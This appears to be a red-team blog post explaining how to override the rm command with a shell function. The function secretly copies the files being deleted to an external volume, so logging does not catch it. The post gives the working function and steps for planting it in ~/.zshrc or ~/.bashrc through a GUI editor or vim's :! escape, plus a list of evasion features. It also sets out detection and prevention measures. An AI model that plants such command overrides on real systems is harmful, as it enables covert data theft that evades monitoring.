Data Exfiltration via Shell Function Override

Ever wonder how much command-line logging actually sees or need to exfiltrate content under the radar? Turns out, there’s a pretty significant blind spot: shell functions.
Most CLI logging solutions capture the commands you type. For example: rm sensitive_file.txt gets logged. But they don’t catch what happens when rm isn’t actually the real rm binary anymore.
The Technique#
You can override any command in your shell by defining a function with the same name. When you type rm, the shell checks functions first, then aliases, then binaries in $PATH. So if you define an rm() function, it takes precedence.
This is where it gets interesting for exfiltration: define an rm function that secretly copies files to an external drive before actually deleting them. To command logs, everything looks normal. To the user, files get deleted as expected. But in reality, copies are being stashed elsewhere.
rm() {
local d="/Volumes/[driveLabel]/$(date +%Y%m%d_%H%M%S)_$RANDOM"
mkdir -p "$d" 2>/dev/null
cp -a "$@" "$d/" 2>/dev/null
/bin/rm "$@"
}
What this does:
- Creates a timestamped directory on an external volume
- Copies the target file(s) there (silently)
- Calls the real
/bin/rmto delete as expected
The user sees the file disappear. Logs show rm sensitive_file.txt. Everything looks normal. But a copy is now on your USB stick.
Implementation Methods#
Method 1: GUI Text Editor (macOS/zsh) - Recommended#
The cleanest approach avoids CLI entirely for setup:
Step 1: Edit shell config via GUI
- Open Finder →
Cmd+Shift+G→ Navigate to~/.zshrc - Open with TextEdit, VS Code, or any GUI editor
- Add the function above
- Save and close
Step 2: Load the config
- Close all terminal windows
- Open a fresh terminal (auto-sources updated
.zshrc)
Step 3: Execute
rm sensitive_file.txt
Step 4: Clean up
- Remove function from
.zshrcusing GUI editor again - Eject drive
Why GUI editing? Because opening a file in TextEdit doesn’t get logged by command-line monitoring tools. The function definition never touches bash history or CLI logs.
Method 2: Vim Subshell Execution (Linux) - Alternative#
This method leverages vim’s ability to execute shell commands via :!:
Step 1: Open vim
vim
Step 2: Execute from within vim
:!echo 'rm() { local d="/backup/$(date +\%Y\%m\%d_\%H\%M\%S)_$RANDOM"; mkdir -p "$d" 2>/dev/null; cp -a "$@" "$d/" 2>/dev/null; /bin/rm "$@"; }' >> ~/.bashrc
:!source ~/.bashrc
Step 3: Exit vim
:q!
Caveat: The source command runs in vim’s subshell, not your parent shell. On Linux this sometimes propagates; on macOS it typically doesn’t. GUI method is more reliable.
Detection Evasion#
What appears in command logs:
rm sensitive_file.txt
What actually executes:
mkdir -p /Volumes/[driveLabel]/20251202_143527_12345 # silent
cp -a sensitive_file.txt /Volumes/SecureKey2/... # silent
/bin/rm sensitive_file.txt # visible
Evasion features:
- Function definition happens outside CLI (GUI edit or vim subshell)
- Error suppression (
2>/dev/null) hides copy failures - Timestamped directories prevent overwrites and look like temp files
- Original
rmbehavior is preserved (user sees expected deletion) - No anomalous commands in bash history
Artifacts#
Persistent#
- File copies in timestamped directories on external volume
- Shell config modification (
.zshrcor.bashrc) if not cleaned up - USB mount logs showing external device connection
- File access logs showing copy operations to external media
Ephemeral#
- Shell function exists only in active terminal sessions
- Memory-only if function defined interactively (not in config file)
- Removed by closing terminal or running:
unset -f rm
Countermeasures#
Detection#
- Monitor dotfiles for function definitions overriding system commands (
rm,cat,cp, etc.) - File integrity monitoring on
.bashrc,.zshrc,.bash_profile - USB device alerts for unexpected external storage connections
- File I/O monitoring for anomalous copy operations to external volumes
- Function enumeration via
type rmto verify it points to actual binary - Process monitoring for vim editing dotfiles or suspicious
cppatterns
Prevention#
- Restrict dotfile writes using file permissions or MAC policies
- USB device control to prevent unauthorized external storage
- Command execution monitoring (not just CLI logging—monitor syscalls)
- Regular audits of user shell environments (
declare -fshows all functions) - Vim restrictions in high-security environments (disable
:!or restrict vim entirely) - Immutable shell configs on critical systems
The Bigger Picture#
Clearly, this doesn’t only apply to rm. You can override any command like cat, vim, ssh, curl, etc.. The function intercepts the call, logs/exfiltrates/modifies data, then calls the real binary.
It’s a reminder that command logging alone isn’t sufficient. You need:
- Syscall-level monitoring
- File integrity monitoring on user configs
- Process behavior analytics
- USB/storage access controls
From a red team perspective, this is a low-noise exfiltration method that works on default configurations. From a blue team perspective, it’s a reason to harden shell environments and monitor configuration changes.
Either way, it’s a good example of how shell features designed for convenience become tools for evasion.